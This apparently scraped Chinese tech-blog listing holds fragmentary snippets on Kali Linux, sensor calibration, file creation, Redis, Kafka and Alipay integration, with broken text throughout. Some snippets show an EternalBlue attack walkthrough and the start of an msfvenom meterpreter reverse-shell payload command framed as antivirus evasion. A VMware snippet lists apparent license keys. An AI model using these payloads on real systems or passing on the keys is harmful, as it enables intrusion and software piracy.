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kali创建文件
imu内参标定
/imu/data和/imu/data_raw的区别3.px4飞控imu标定,以及遇到的问题
kali
br_allan标定imu内参4.使用mintar修改的imu_utils进行zed2相机imu的标定讨论提示
猫星星
·
2024-02-02 19:56
标定
自动驾驶
人工智能
使用
Kali
br标定相机和IMU(ZED+px4)外参
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档使用
Kali
br标定相机和IMU(ZED+px4)外参前言一、
Kali
br介绍二、CAM-IMU外参标定1.相机内参2.IMU噪声参数3.
猫星星
·
2024-02-02 19:56
标定
自动驾驶
人工智能
算法
imu相机标定_【SLAM】
kali
br工具IMU和双目相机标定
标定记录标定IMU参数使用工具遇见的问题记录sudoapt-getinstalllibdw-dev下载依赖gitclonehttps://github.com/gaowenliang/code_utils.git,catkin_make编译,这时会遇到头文件错误fatalerror:backward.hpp:Nosuchfileordirectory,将CMakeLists.txt中的includ
weixin_39703926
·
2024-02-02 19:55
imu相机标定
AirSim中运行VIO算法(VINS-Mono)
AirSim上跑通文章目录VINS-Mono在AirSim上跑通一IMU参数配置二相机参数设置三AirSim发布数据问题关于相机、IMU内外参的完整解释,可以参考我的另一篇文章:一IMU参数配置根据文章IMU
Kali
brparametersforAirSim
智能之欣
·
2024-02-02 19:24
SLAM
环境配置
算法
自动驾驶
人工智能
Mac电脑
创建文件
夹问题:Operation not supported - 解决
问题:lim@Lims-MacBook-Pro~%cd/homelim@Lims-MacBook-Pro/home%mkdirlimmkdir:lim:Operationnotsupported解决:打开终端输入:sudovim/etc/auto_master修改(注释/home这一行):修改前:/homeauto_home-nobrowse,hidefromfinder修改后:#/homeaut
MrLimLee
·
2024-02-02 17:52
VMware配置
kali
虚拟机
一,安装VMware1,下载安装包VMwareWorkstation17点击链接直接下载windows版本或者自己去官网下载,点击图示所指2,VMware安装设置打开下载好的安装包4A4RR-813DK-M81A9-4U35H-06KNDNZ4RR-FTK5H-H81C1-Q30QH-1V2LAJU090-6039P-08409-8J0QH-2YR7F4Y09U-AJK97-089Z0-A3054
无泡汽水
·
2024-02-02 17:32
网路安全
linux
运维
服务器
linux 定时删除日志文件
第一步创建一个脚本文件//
创建文件
touchdelete_log.sh//添加执行权限chmod755delete_log.sh脚本内容#!/bin/bashecho"start......"
魏 无羡
·
2024-02-02 15:14
linux
linux
bash
运维
kail使用msf工具利用永恒之蓝漏洞攻击win7
实验环境靶机:win7IP:192.168.43.144攻击机:
kali
ip:192.168.43.150实验开始:第一步:打开msfconsole进入到工具里面搜索一下永恒之蓝漏洞searchms17
只喜欢打乒乓球
·
2024-02-02 12:21
安全
msic catflag
第一道:打开题目是一个压缩包解压后是一个flag文件结合题目catflagortypeflag联想到
kali
所以就放到
kali
里面得出flag第二道打开题目是一道感觉很难实际上却很简单的题直接用010打开全局搜索
只喜欢打乒乓球
·
2024-02-02 12:21
ctf
web安全
网络
网络安全
python免杀
实验靶机:win10攻击机:
kali
192.168.117.1291.先在
kali
上输入msfvenom-pwindows/x64/meterpreter/reverse_tcpLHOST=192.168.117.129LPORT
只喜欢打乒乓球
·
2024-02-02 12:49
python
开发语言
网络安全
web安全
Kafka客户端实战
目录基础客户端引入依赖消息发送者主流程消息消费者主流程SpringBoot集成Kafka引入Maven依赖application.properties配置文件通过KafkaTemplate发送消息通过@Kaf
kaLi
stener
山鸟与鱼!
·
2024-02-02 12:29
分布式中间件
kafka
分布式
spring
boot
java
后端
DirBuster
在
kali
终端中输入dirbuster就可以打开dirbuster图形化页面功能使用1.在第一栏填写目标网址2.第二栏控制请求包数量,控制扫描速度3.第三栏选择字典(必选)点击browse,打开字典字典一般都在这个文件夹下
白8080
·
2024-02-02 11:40
工具
QT使用CDB远程调试
VS2017的环境以及前期安装过DebuggingToolsforWindows所以这就不讲了,环境没搭好的朋友自行百度一下远程主机配置:win732bit注:如果要调试64位要把X86改X641)、
创建文件
夹在桌面创建了
AAlvin
·
2024-02-02 10:14
QT编程
c语言
c++
[网络安全 渗透实验 01]基于MSF框架渗透攻击Win7主机系统的设计与实现
基于MSF框架渗透攻击Win7主机系统的设计与实现文章目录基于MSF框架渗透攻击Win7主机系统的设计与实现[Warning]写在前面1.实验要求2.实验环境搭建2.1攻击机(Linux
kali
)的下载与安装
驼同学.
·
2024-02-02 10:06
网络安全
安全
Mysql的配置文件my.ini记录
1、先
创建文件
夹:mkdird:\mysql\datamkdird:\mysql\logtypenul>d:\mysql\log\mysql-slow.log2、配置文件[mysqld]#Mysql服务实例的唯一编号每个
程序翟
·
2024-02-02 10:36
渗透测试-SQL注入-SQLMap工具
渗透测试-SQL注入-SQLMap工具前言一、SQLMap拖库二、POST和Cookie三、OS-Shell1.整个过程分为三部分:2.手工读写文件前言这个工具是在
kali
中自带的,从
kali
官网下载安装
chengstery
·
2024-02-02 09:08
渗透测试
SQL注入
sql
web安全
学习
mysql
数据库
认识Linux指令之 “ 重定向” 符号
>输出重定向在111文件夹中我们只有dir文件夹和file.txt文件用echo>(输出重定向)我们可以将内容输入对应的文件中也可以直接重定向>>的作用
创建文件
(如果文件已经存在,就不用创建)本来应该显示到显示器上的数据
醋溜马桶圈
·
2024-02-02 09:01
#
Linux
linux
运维
服务器
linux 安装redis5.0
redis5.0.0下载安装文件wgethttp://download.redis.io/releases/redis-5.0.0.tar.gz解压sudotarxzvfredis-5.0.0.tar.gz3.
创建文件
夹
零一间
·
2024-02-02 08:35
Node.js 文件系统操作指南
文章目录Node.js文件系统操作完全指南一、引言二、基本文件操作2.1读取文件2.2写入文件2.3追加内容到文件三、文件与目录的创建与删除3.1
创建文件
3.2创建目录3.3删除文件3.4删除目录四、文件与目录的信息查询
球球不吃虾
·
2024-02-02 07:01
随笔
node.js
前端
javascript
架构
SSTI漏洞检测工具tplmap的安装与使用
SSTI工具安装与使用,操作环境
kali
参考:[https://www.cnblogs.com/ktsm/p/15473100.html]1、安装python2的pip工具
kali
2020版及以上,输入
zxl2605
·
2024-02-02 07:51
工具的使用
web安全
Linux内核--设备驱动(一)驱动的结构介绍
字符设备基本构成------>3.1、cdev------>3.2、char_device_struct------>3.3、cdev_map四、打开字符设备------>4.1、加载------>4.2、
创建文件
设备
文艺小少年
·
2024-02-02 06:18
CPU性能分析与操作系统的构建
linux
microsoft
运维
SpringBoot集成Redis
直接用键值对的形式完成数据的管理,Redis支持5种数据类型:字符串列表集合有序集合哈希安装Redis1、下载Redishttps://redis.io/download2、解压,并在本地硬盘任意位置
创建文件
夹
林几许
·
2024-02-02 06:12
springboot实现支付宝沙箱支付
首先,在我们的pom.xml里面引入依赖com.alipay.sd
kali
pay-easysdk2.2.0cn.hutoolhutool-all5.7.20org.apache.poipoi-ooxml4.1.2
Blet-
·
2024-02-02 06:41
前后端分离
spring
boot
java
spring
springboot整合沙箱支付宝
他会生成一个支付宝公钥环境准备好了开始来实现1.依赖com.alipay.sd
kali
pay-easysdk2.2.0org.springframework.bootspring-boot-configuration-proc
veteranJayBrother
·
2024-02-02 06:11
java
spring
boot
spring
SpringBoot整合支付宝沙箱支付
申请支付宝开发者沙箱账号2.设置支付宝公钥与私钥使用支付宝提供的工具生成密钥粘贴刚才生成的应用公钥设置你的应用公钥,生成支付宝公钥(支付宝公钥和你自己的私有后边需要)3.引入支付宝支付所需依赖com.alipay.sd
kali
pay-easysdk2.2.04
LeBron永鑫
·
2024-02-02 06:08
java
spring
boot
vue
springboot整合支付宝付款(支付宝沙箱)
支付宝支付1导入支付宝依赖依赖地址:小程序文档-支付宝文档中心com.alipay.sd
kali
pay-sdk-java4.34.0.ALL电脑网站支付api:小程序文档-支付宝文档中心其他支付api(
温暖如初a
·
2024-02-02 06:05
spring
boot
java
springboot3整合支付宝沙箱网页版
org.springframework.bootspring-boot-starter-weborg.springframework.bootspring-boot-starter-testtestcom.alipay.sd
kali
pay-sdk-java4.35.79
weixin_41415820
·
2024-02-02 06:02
java
开发语言
oracle 使用笔记
1.查看用户信息查看oracle用户信息:idoracle2.查看、编辑、复制、
创建文件
查看:cat/etc/sysctl.conf编辑:vi/etc/sysctl.conf复制:cp/home/oracle
万变不离其宗_8
·
2024-02-02 04:51
数据库
oracle
笔记
数据库
vulhub靶机activemq环境下的CVE-2015-5254(ActiveMQ 反序列化漏洞)
漏洞搭建没有特殊要求,请看(3条消息)vulhub搭建方法_himobrinehacken的博客-CSDN博客漏洞利用服务端口是8161默认密码adminnmap扫描具体细节
kali
自带的search
himobrinehacken
·
2024-02-02 03:06
vulhub
activemq
web安全
网络安全
网络攻击模型
Jenkins自动化部署(虚拟机部署)
自动化部署流程三、虚拟机安装四、安装Jenkins环境4.1.安装java环境4.2.安装Jenkins4.3.Jenkins配置五、nginx安装和配置5.1.安装nginx5.2.通过Linux命令
创建文件
夹和文件
小马_xiaoen
·
2024-02-02 02:30
前端
jenkins
自动化
运维
Docker部署Tomcat
第一次启动:dockerrun-d--nametomcat8-p8081:8080tomcat:8.5.38在宿主机
创建文件
夹:mkdir-p/hom
xdpcxq1029
·
2024-02-02 01:37
docker
tomcat
eureka
2023最新版
kali
linux安装教程
一、前期准备前排提醒,文末有绿色版安装包免费领取!二、VMware虚拟机配置1、打开vmware,点击创建新的虚拟机2、选择自定义(高级)选项,点击下一步3、继续下一步4、选择【稍后安装操作系统】,然后点击下一步5、客户机操作系统选择【Linux】,版本选择【Debian】,至于64位还是32位我们根据镜像选择对应的版本,当然也可以直接选择64位,毕竟可以向下兼容。其次之所以选的Debian是因为
python入门教程
·
2024-02-01 23:21
网络安全
linux
web安全
安全
网络安全
网络
C语言入门(1)——Hello World
1.示例1.
创建文件
hello.cvimhello.c2.在hello.c下如下面代码,并保存。#includemain(){printf("hell
Sunrise的博客
·
2024-02-01 23:46
c语言
自建yum仓库,分别为网络源和本地源
etc/yum.repos.d/wget-O/etc/yum.repos.d/CentOS-Base.repohttp://mirrors.aliyun.com/repo/Centos-7.repo2、
创建文件
夹
提笔畫明月
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2024-02-01 21:42
原生DOM实现图书管理系统,使用axios的GET、DELETE、POST、PUT方法对数据进行增删改查完整版(附源码)
文章目录前言一、准备工作1.
创建文件
2.导入依赖3.html视图准备二、图书管理系统的渲染1.封装getBookList()函数2.在代码底部执行封装过的函数进行渲染三、图书管理系统的添加1.封装addBook
-_-你好-_-
·
2024-02-01 20:02
前端
javascript
html
css
了解WPF控件:TreeView常用属性与用法(十五)
在
创建文件
浏览器、组织结构图等应用程序时,TreeView控件非常有用。TreeView控件常用属性1.Items属性tems属性是用来获取或设置TreeView中的项的集合。
搬砖的工人
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2024-02-01 20:45
wpf
Vue2(十二):Vuex
一定要安装vuex3,如果是vue3可以直接npmivuex安装的是vuex4,可以去package.json文件里看下vue的版本是啥,千万别输错了,不然会陷入痛苦的报错……1.2.创建store文件
创建文件
Kiwi23333
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2024-02-01 18:59
Vue
vue.js
前端
javascript
如何批量
创建文件
活码?一键导出多个二维码的方法
现在遇到扫码查看文档的场景越来越多,除了通过单个二维码查看多个文件之外,有些情况下也会遇到将一批文件分别成独立二维码展示的情况,而且二维码还可以随时修改编辑内容,这种要求的二维码该如何来制作呢?对于上面的需求,可以使用文件二维码生成器的批量建码功能,一键将多个文件分别生成单独的活码二维码。下面小编就来给大家分享文件二维码制作的方法及步骤有哪些。打开机智熊二维码生成器之后,直接点击【文件】功能跳转对
zybk801
·
2024-02-01 17:58
二维码
二维码生成器
【网络安全实验】snort实现高级IDS
注:本实验分别使用
kali
和CentOS6.8进行测试,可惜的是使用
kali
进行实验过程中遇到了困难,未能完成完整实验,而使用CentOS6.8成功完成了完整实验。
轻闲一号机
·
2024-02-01 16:12
网络安全实验
web安全
网络
安全
snort
Linux学习-day2
、注销4、用户管理4.1、创建和删除用户4.2、查询用户信息、切换用户4.4、用户组5、运行级别6、找回root密码7、帮助指令8、文件目录8.1、路径8.2、创建目录8.3、删除文件夹、文件8.4、
创建文件
哪里的船迷醉了夕阳
·
2024-02-01 11:10
Linux
linux
ElasticSearch:入门指南( 1 )
结构化数据和非结构化数据倒排索引ElasticSearch数据结构ElasticSearch服务安装与启动关闭Linux防火墙配置最大可
创建文件
数创建非root用户解压ES安装包为用户赋予操作ES文件夹的权限启动
xzCoding
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2024-02-01 11:55
ElasticSearch
elasticsearch
数据库
大数据
零基础教程:node.js基于express框架,搭建一个简单后台
这是
创建文件
夹$mkdirmyapp进入到这个文件夹$cdmyapp2、通过npminit命令为你的应用创建一个package.json文件。
北木南-
·
2024-02-01 10:32
js
node.js
前端
json
javascript
DC-1靶机渗透测试详细教程
DC-1DC-1下载:https://download.vulnhub.com/dc/DC-1.zip攻击者
kali
IP:192.168.1.9受害者DC-1IP:192.168.1.8将DC-1靶机调成和
啊醒
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2024-02-01 09:09
VulnHub靶场通关教程
安全
web安全
渗透测试
kali
DC-1
4、内网安全-隧道&内网穿透上线&Ngrok&FRP&NPS&SPP&EW项目
用途:个人在线笔记,有所借鉴,欢迎指正背景:内网主机通过隧道与外网主机建立连接,隧道通过配置可以将访问外网主机的流量转发给内网主机,从而实现本地
Kali
虚拟机控制别人电脑上线Ngrok注册登录:https
++
·
2024-02-01 09:08
内网安全/渗透
安全
网络协议
信息与通信
网络安全
17、Kafka ------ SpringBoot 整合 Kafka 发送 和 接收消息(使用 KafkaTemplate 发送消息 和 使用 @Kaf
kaLi
stener 修饰监听器来接收消息)
、controller2、service3、演示1、启动应用程序2、启动一个消息监听者3、发送各种消息发送不带key消息发送带key消息4、与KafkaTemplat有关的事务和消息转换器使用@Kaf
kaLi
stener
_L_J_H_
·
2024-02-01 09:11
#
Kafka
系列
kafka
spring
boot
分布式
在next.js的13.2.1版本中使用中间件,实现禁止特定ip访问网址所有页面
在实现实现禁止特定ip访问网址所有页面时,有两种方式,一种是针对单个页面,另一种是针对整个网站在pages/api中
创建文件
使用,针对单个页面,也可以应用于所有页面之前是在pages/api下创建的中间件去实现的
D浩DzD
·
2024-02-01 07:55
javascript
中间件
开发语言
华纳云:如何搭建一个简易的文件服务器?
创建文件
服务器目录:在你的计算机上选择一个合适的文件夹,将你想要共享的文件放入该文件夹。这将是你文件服务器的根目录。打开终端或命令提示符:
华纳云IDC服务商
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2024-02-01 03:06
服务器
运维
【C++基础入门】一、C++初识
一、C++初识1.1第一个C++程序编写一个C++程序总共分为4个步骤创建项目
创建文件
编写代码运行程序1.1.1创建项目VisualStudio是我们用来编写C++程序的主要工具,我们先将它打开1.1.2
咖喱年糕
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2024-02-01 02:18
C++
c++
Visual
Studio
注释
变量
常量
关键字
标识符命名规则
JAVA-(文件I/O操作、密码解锁小demo)
心得体会如果有山的话,就有条越过它的路^^今日所学1.文件的相关操作1.如何
创建文件
2.I/O流3.文件中写入和读取字节流4.文件中写入和读取字符流5.文件中保存对象6.从文件中读取对象7.将一个文件copy
宁晓鸯
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2024-02-01 02:16
新手入门Web安全的学习路线
学习Web安全需要掌握Web安全相关概念、渗透测试相关工具、渗透实战操作、熟悉Windows/
Kali
Linux、中间件和服务器的安全配置、脚本编程学习、源码审计与漏洞分析、安全体系设计与开发等等。
中年猿人
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2024-01-31 23:35
web安全
学习
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